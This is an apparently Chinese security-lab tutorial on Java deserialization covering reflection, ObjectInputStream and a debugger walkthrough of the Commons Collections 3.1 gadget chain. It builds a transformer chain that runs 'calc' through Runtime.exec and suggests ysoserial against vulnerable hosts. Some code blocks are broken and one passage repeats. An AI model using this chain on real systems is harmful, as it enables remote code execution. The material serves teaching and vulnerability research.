0×01:序列化基本概念
- 序列化:將對(duì)象寫入IO流中
- 反序列化:從IO流中恢復(fù)對(duì)象
- 意義:序列化機(jī)制允許將實(shí)現(xiàn)序列化的JAVA對(duì)象轉(zhuǎn)換位字節(jié)序列,這些字節(jié)序列可以保存在磁盤上,或通過網(wǎng)絡(luò)傳輸,以達(dá)到以后恢復(fù)成原來的對(duì)象。序列化機(jī)制使得對(duì)象可以脫離程序的運(yùn)行而獨(dú)立存在。
0×02:Java中的反射機(jī)制
1. 反射機(jī)制的作用: 通過java語言中的反射機(jī)制可以操作字節(jié)碼文件(可以讀和修改字節(jié)碼文件)
2. 反射機(jī)制的相關(guān)類在哪個(gè)包下java.lang.reflect.*;
3. 反射機(jī)制的相關(guān)類有哪些:
java.lang.Class 代表字節(jié)碼文件,代表整個(gè)類
java.lang.reflect.Method 代表字節(jié)碼中的方法字節(jié)碼,代表類中的方法
java.lang.reflect.Constructor 代表字節(jié)碼中的構(gòu)造方法字節(jié)碼,代表類中的構(gòu)造方法java.lang.reflect.Field 代表字節(jié)碼中的屬性字節(jié)碼,代表類中的屬性。
我們先看最主要的部分——執(zhí)行系統(tǒng)命令
public class N0Tai1{
public static void main(String[] args) throws Exception{
} }
Runtime calc = Runtime.getRuntime(); calc.exec("calc"); //Runtime.getRuntime().calc.exec("calc")
相應(yīng)的反射代碼如下:
public class N0Tai1{
public static void main(String[] args) throws Exception{
} }
Class c = Class.forName("java.lang.Runtime"); //c代表Runtime.class字節(jié)碼文件,c代表Runtime類型
Object obj = c.getMethod("getRuntime", null).invoke(c,null);
/*
* 通過getMethod對(duì)getRuntime這個(gè)方法進(jìn)行實(shí)例化
* getRuntime并不需要傳參,所以傳參類型為null,后面的invoke實(shí)現(xiàn)getRuntime
* */
String[] n0tai1 = {"calc.exe"}; c.getMethod("exec",String.class).invoke(obj,n0tai1);
/*
* getMethod對(duì)exec這個(gè)方法進(jìn)行實(shí)例化
* exec需要傳一個(gè)String類型的字符串或者String類型的數(shù)組,然后invoke實(shí)現(xiàn)exec方法 * */
0×03:序列化的實(shí)現(xiàn)方式
序列化概述
如果需要將某個(gè)對(duì)象保存到磁盤上或者通過網(wǎng)絡(luò)傳輸,那么這個(gè)類應(yīng)該實(shí)現(xiàn) Serializable 接口或者Externalizable接口之一。
使用到JDK中關(guān)鍵類 :
ObjectOutputStream (對(duì)象輸出流) 和 ObjectInputStream (對(duì)象輸入流)ObjectOutputStream 類中:通過使用 writeObject (Object object) 方法,將對(duì)象以二進(jìn)制格式進(jìn)行寫入。
ObjectInputStream類中:
通過使用 readObject() 方法,從輸入流中讀取二進(jìn)制流,轉(zhuǎn)換成對(duì)象。
Transient關(guān)鍵字序列化的時(shí)候不會(huì)序列化Transient關(guān)鍵字修飾的變量,這個(gè)關(guān)鍵字不能修飾類和方法Static。
靜態(tài)變量也不會(huì)被序列化
serialVersionUID
這里是指序列化的版本號(hào),版本不一致會(huì)導(dǎo)致拋出錯(cuò)誤,并且拒絕載入序列化與反序列化樣例:
//Person.java
package com.n0tai1.java.serialize;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream; import com.n0tai1.java.serialize.Student;
public class Person{
public static void main(String[] args) throws IOException {
Student s = new Student(19,"ZAAAA"); System.out.println(s.Students()); System.out.println(s.toString()); ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("I:\project\Java\JavaSePro\src\flag.txt")); oos.writeObject(s);
oos.flush();
oos.close(); }
}
//Student.java
package com.n0tai1.java.serialize;
import java.io.Serializable;
public class Student implements Serializable {
private static final long serialVersionUID = 5407396955208161433L;
private int age;
private transient String name;
public Student(int age, String name){
this.age = age;
this.name = name; }
public String Students(){
return "姓名: "+ this.name + " 年齡: " + this.age;
}
@Override
public String toString() {
return "姓名: "+ this.name + " 年齡: " + this.age;
} }
//unserialize.java
package com.n0tai1.java.serialize;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import com.n0tai1.java.serialize.Student;
public class unserialize{
public static void main(String[] args) throws IOException,
ClassNotFoundException
{
ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("I:\project\Java\JavaSePro\src\flag.txt")); Object obj = ois.readObject();
System.out.println(obj);
ois.close(); }
}
現(xiàn)在已經(jīng)知道如何序列化和反序列化了,我們把剛剛寫的彈計(jì)算器代碼序列化處理一下package com.n0tai1.java.serialize;
import com.n0tai1.java.serialize.ExecTest; import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class Serializable{
public static void main(String[] args) throws Exception {
ExecTest s = new ExecTest();
s.ExecTest();
ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("I:\project\Java\JavaSePro\src\serialize.txt")); oos.writeObject(s);
oos.flush();
oos.close(); }
}private transient String name;
public Student(int age, String name){
this.age = age;
this.name = name; }
public String Students(){
return "姓名: "+ this.name + " 年齡: " + this.age;
}
@Override
public String toString() {
return "姓名: "+ this.name + " 年齡: " + this.age;
} }
//unserialize.java
package com.n0tai1.java.serialize;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import com.n0tai1.java.serialize.Student;
public class unserialize{
public static void main(String[] args) throws IOException,
ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("I:\project\Java\JavaSePro\src\flag.txt")); Object obj = ois.readObject();
System.out.println(obj);
ois.close(); }
}
現(xiàn)在已經(jīng)知道如何序列化和反序列化了,我們把剛剛寫的彈計(jì)算器代碼序列化處理一下
package com.n0tai1.java.serialize;
import com.n0tai1.java.serialize.ExecTest; import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class Serializable{
public static void main(String[] args) throws Exception {
ExecTest s = new ExecTest();
s.ExecTest();
ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("I:\project\Java\JavaSePro\src\serialize.txt")); oos.writeObject(s);
oos.flush();
oos.close(); }
}
package com.n0tai1.java.serialize;
import java.io.Serializable;
public class ExecTest implements Serializable {
public void ExecTest() throws Exception{
} }
Class c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime", null).invoke(null); String[] n0tai1 = {"calc.exe"}; c.getMethod("exec",String.class).invoke(obj,n0tai1);
//unserialize.java
package com.n0tai1.java.serialize;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import com.n0tai1.java.serialize.ExecTest;
public class unserialize{
public static void main(String[] args) throws IOException,
ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("I:\project\Java\JavaSePro\src\serialize.txt")); Object obj = ois.readObject();
System.out.println(obj);
ois.close(); }
}
但是這樣測試后發(fā)現(xiàn),反序列操作后,不能彈出計(jì)算器嗎,因?yàn)镽untime類并沒有實(shí)現(xiàn) Serializable接口
commons-collections3.1源碼分析
漏洞組件
:https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1
參考鏈接
:https://security.tencent.com/index.php/blog/msg/97
我們直接入正題
我們可以通過
Map tansformedMap = TransformedMap.decorate(map,keyTransformer,valueTransformer)
來獲得一個(gè)TransformedMap類的實(shí)例進(jìn)而調(diào)用到TransformedMap的構(gòu)造方法
這里會(huì)調(diào)用到super(map),會(huì)調(diào)用到基類的有參構(gòu)造
繼續(xù)調(diào)用基類有參構(gòu)造
TransformedMap.decorate會(huì)對(duì)map類的數(shù)據(jù)結(jié)構(gòu)進(jìn)行轉(zhuǎn)化
TransformedMap.decorate方法,預(yù)期是對(duì)Map類的數(shù)據(jù)結(jié)構(gòu)進(jìn)行轉(zhuǎn)化,該方法有三個(gè)參數(shù)。
第一個(gè)參數(shù)為待轉(zhuǎn)化的Map對(duì)象
第二個(gè)參數(shù)為Map對(duì)象內(nèi)的key要經(jīng)過的轉(zhuǎn)化方法(可為單個(gè)方法,也可為鏈,也可為空)
第三個(gè)參數(shù)為Map對(duì)象內(nèi)的value要經(jīng)過的轉(zhuǎn)化方法
我們看今天的第一個(gè)主角ChainedTransformer.class,我們可以創(chuàng)建一個(gè)Transformer類型的數(shù)組,構(gòu)造出ChainedTransformer,當(dāng)觸發(fā)的時(shí)候ChainedTransformer可以將閑散的數(shù)據(jù)組合
我們看今天的第二個(gè)主角InvokerTransformer.class,我們可以給創(chuàng)建一個(gè)Transformer類型的數(shù)組, 然后對(duì)InvokerTransformer進(jìn)行實(shí)例化
可以看到:
InvokerTransformer的transform中出現(xiàn)了 getMethod().invoke() 這種形式的代碼,我們 如果可以控制傳參,就可以RCE
那我們?nèi)绾握{(diào)用到InvokerTransformer和ChainedTransformer的transform呢?
這里我們需要用到:
AbstractInputCheckedMapDecorator下MapEntry下的setValue
只要讓iTransformers[i]為InvokerTransformer這個(gè)類的對(duì)象就可以調(diào)用到InvokerTransformer的transform
那我們?nèi)绾斡|發(fā)呢? 在進(jìn)行反序列化的時(shí)候我們會(huì)調(diào)用ObjectInputStream類的readObject()方法,如果反序列化類被重寫
readObject(),那在反序列化的時(shí)候Java會(huì)優(yōu)先調(diào)用重寫的readObject()方法,這樣就有了入口點(diǎn)
Payload分析
正文之前,在這之前說下我對(duì)getMethod和invoke這兩個(gè)方法的理解
getMethod
返回一個(gè)Method對(duì)象,getMethod獲取的是某個(gè)類下的某個(gè)方法,第一個(gè)參數(shù)是方法名,第二個(gè)參數(shù) 要看這個(gè)方法需要什么參數(shù),如果需要字符串,那我們就寫String.class,如果不需要傳參,則用null即可
invoke
調(diào)用包裝在當(dāng)前Method對(duì)象中的方法 ,第一個(gè)參數(shù)是obj,也就是實(shí)例化的對(duì)象,第二個(gè)參數(shù)是方法(這里的方法是指getMethod第一個(gè)參數(shù)對(duì)應(yīng)的方法)需要的參數(shù)
分析
我們直接拿ysoserial中的cc1的鏈子來對(duì)照著寫一個(gè)(這里的代碼借鑒了一位大佬的...但是網(wǎng)址忘記了....)
import org.Apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer; import java.util.HashMap;
import java.util.Map;
public class test{
public static void main(String[] args)
{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new
Object[] { "calc" }) };
Transformer transformerChain = new ChainedTransformer(transformers);
} }
Map innermap = new HashMap();
innermap.put("name", "hello");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain); Map.Entry elEntry = ( Map.Entry ) outmap.entrySet().iterator().next(); elEntry.setValue("hahah");
我們直接IDEA拉出來打個(gè)斷點(diǎn)開始瘋狂debug
先跟這個(gè)實(shí)例化對(duì)象,看看發(fā)生了什么大事件
new ConstantTransformer()部分
這里傳進(jìn)來一個(gè)Runtime.class字節(jié)碼文件,然后賦值給了被private和final修飾的iConstant變量,我們看一下這個(gè)變量
new InvokerTransformer()部分
繼續(xù)往下跟,跟到InvokerTranformer類的構(gòu)造方法
第一個(gè)參數(shù)是getMethod的作用是獲取對(duì)象的方法
第二個(gè)參數(shù)是兩個(gè)字節(jié)碼文件String.class和Class.class
第三個(gè)參數(shù)是Runtime.class下的靜態(tài)方法
繼續(xù)往下debug,依然是InvokerTransformer
第一個(gè)參數(shù)是invoke的作用是讓這個(gè)方法執(zhí)行
第二個(gè)參數(shù)是兩個(gè)字節(jié)碼文件Object.class和Object.class
第三個(gè)參數(shù)是一個(gè)Object類型的數(shù)組,為空
繼續(xù)往下跟
第一個(gè)參數(shù)是exec的作用是執(zhí)行系統(tǒng)命令,這個(gè)方法是Runtime.class下的
第二個(gè)參數(shù)是字節(jié)碼文件String.class
第三個(gè)參數(shù)是Object類型的數(shù)組,里面只有一個(gè)元素calc(這里就是調(diào)用的地方)
new ChainedTransformer部分
這里把這個(gè)有四個(gè)對(duì)象的數(shù)組傳入了ChainedTransformer中的有參構(gòu)造方法處理
賦值給了iTransformers
new HashMap()部分
這里定義了一個(gè)底層為哈希表的數(shù)組,然后用put方法添加了key和value
TransformedMap.decorate靜態(tài)方法部分
在返回值中new了一個(gè)TransformedMap,調(diào)用了自身的有參構(gòu)造方法
第一個(gè)參數(shù)接受的是我們put方法寫入map數(shù)組的key和value
第二個(gè)參數(shù)接受的是null
第三個(gè)參數(shù)接受的是transformerChain,也就是4個(gè)對(duì)象組成的數(shù)組
調(diào)用了父類的構(gòu)造方法,并且傳了一個(gè)map
繼續(xù)調(diào)用父類的構(gòu)造方法,仍傳的是map
繼續(xù)往下
Map.Entry學(xué)習(xí)和詳解
將output這個(gè)map類型的數(shù)組強(qiáng)轉(zhuǎn)到Map.Entry類型的數(shù)組中,并且用next獲取一組key和value
然后后面調(diào)用setValue
調(diào)用了checkSetValue
調(diào)用transform
這里的就開始遍歷我們之前寫入的4個(gè)實(shí)例化對(duì)象,我們來看最終觸發(fā)漏洞的關(guān)鍵地方
第一次遍歷
返回的是Runtime.class
第二次遍歷
給cls了一個(gè)Runtime.class字節(jié)碼文件,cls現(xiàn)在是Runtime類型,然后getMethod獲得一個(gè)方法對(duì)象, 方法名為getMethod,指定的傳參類型為String和Object,之后調(diào)用invoke實(shí)現(xiàn)了getMethod方法并且 傳參是getRuntime
Class cls = Class.forName("java.lang.Runtime")
Method method = cls.getMethod("getMethod",new Class[] { String.class, Class[].class }).invoke(cls,"getRuntime");
//等價(jià)于
cls.getMethod("getRuntime",null).invoke(cls.null);
//等價(jià)于
cls.getMethod("getRuntime",null);
第三次遍歷
getMethod獲得一個(gè)方法對(duì)象,方法名為invoke,指定的傳參類型為Object,然后調(diào)用invoke方法實(shí)現(xiàn)了invoke方法,傳參為null
cls.getMethod("invoke",new Class[] { Object.class, Object[].class }).invoke(cls,null);
//等價(jià)于
cls.invoke(null,null);
第四次遍歷
getMethod獲得一個(gè)方法對(duì)象,方法名為exec,指定傳參類型為String,然后通過invoke方法實(shí)現(xiàn)了exec方法,傳參為calc
cls.getMethod("exec",new Class[] { String.class }).invoke(cls,'calc');//等價(jià)于
cls.exec("calc");
總結(jié)一下思路:
InvokerTransformer為漏洞觸發(fā)處ChianedTransformer為一個(gè)容器,作用是幫我們把InvokerTransformer組成一個(gè)有序的數(shù)組,讓其有序遍歷
Transformer為一個(gè)接口類,這里寫法單純是多態(tài)而已....
1.利用setValue觸發(fā)
AbstractInputCheckedMapDecorator下的setValue進(jìn)而觸發(fā)InvokerTransformer的transform這個(gè)漏洞觸發(fā)點(diǎn)
2.第二次遍歷生成的相當(dāng)于一個(gè)未執(zhí)行的Runtime.getRuntime(),第三次遍歷相當(dāng)于將Runtime.getRuntime()執(zhí)行,第四次循環(huán)調(diào)用了runtime下的方法exec
0×04:如何發(fā)現(xiàn)Java反序列化漏洞
- 白盒
可以檢索源碼中對(duì)反序列化函數(shù)的調(diào)用,例如:
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMApper.readValue
JSON.parseobject
確定輸入點(diǎn)后,檢查class path中是否有危險(xiǎn)庫,例如上文分析的Apache Commons Collections,若有危險(xiǎn)庫直接用ysoserial梭哈
弱無危險(xiǎn)庫,則檢查是否有涉及代碼執(zhí)行的部分,查看是否有代碼編寫上的bug
- 黑盒
我們可以通過抓包這種手段來檢測是否有可控輸入點(diǎn),序列化數(shù)據(jù)通常以ACED開頭,之后兩個(gè)字節(jié)為版本號(hào),一般情況是0005,某些情況下可能是更高的數(shù)字
如果不確定字符串是否為序列化數(shù)據(jù),我們可以利用大牛寫好的工具SerializationDumper來進(jìn)行檢測,用法如下:
java -jar SerializationDumper-v1.0.jar aced000573720008456d706c6f796565eae11e5afcd287c50200024c00086964656e746966797400 124c6a6176612f6c616e672f537472696e673b4c00046e616d6571007e0001787074000d47656e65 72616c207374616666740009e59198e5b7a5e794b2
關(guān)于摘星實(shí)驗(yàn)室:
摘星實(shí)驗(yàn)室是星云博創(chuàng)旗下專職負(fù)責(zé)技術(shù)研究的安全實(shí)驗(yàn)室,成立于2020年5月,團(tuán)隊(duì)核心成員均具備多年安全研究從業(yè)經(jīng)驗(yàn)。實(shí)驗(yàn)室主要致力于攻防技術(shù)人員培養(yǎng)、攻防技術(shù)研究、安全領(lǐng)域前瞻性技術(shù)研究,為公司產(chǎn)品研發(fā)、安全項(xiàng)目及客戶服務(wù)提供強(qiáng)有力的支撐。在技術(shù)研究方面,摘星實(shí)驗(yàn)室主攻漏洞挖掘及新型攻擊,并將重點(diǎn)關(guān)注攻擊溯源與黑客行為分析;與此同時(shí),實(shí)驗(yàn)室還將持續(xù)關(guān)注對(duì)工業(yè)互聯(lián)網(wǎng)領(lǐng)域的技術(shù)研究。
實(shí)驗(yàn)室成立以來,已通過CNVD/CNNVD累計(jì)發(fā)布安全漏洞300余個(gè),是CNVD和CNNVD的漏洞挖掘支撐單位,在安全漏洞預(yù)警、事件通報(bào)處置等方面均得到了行業(yè)權(quán)威機(jī)構(gòu)的認(rèn)可。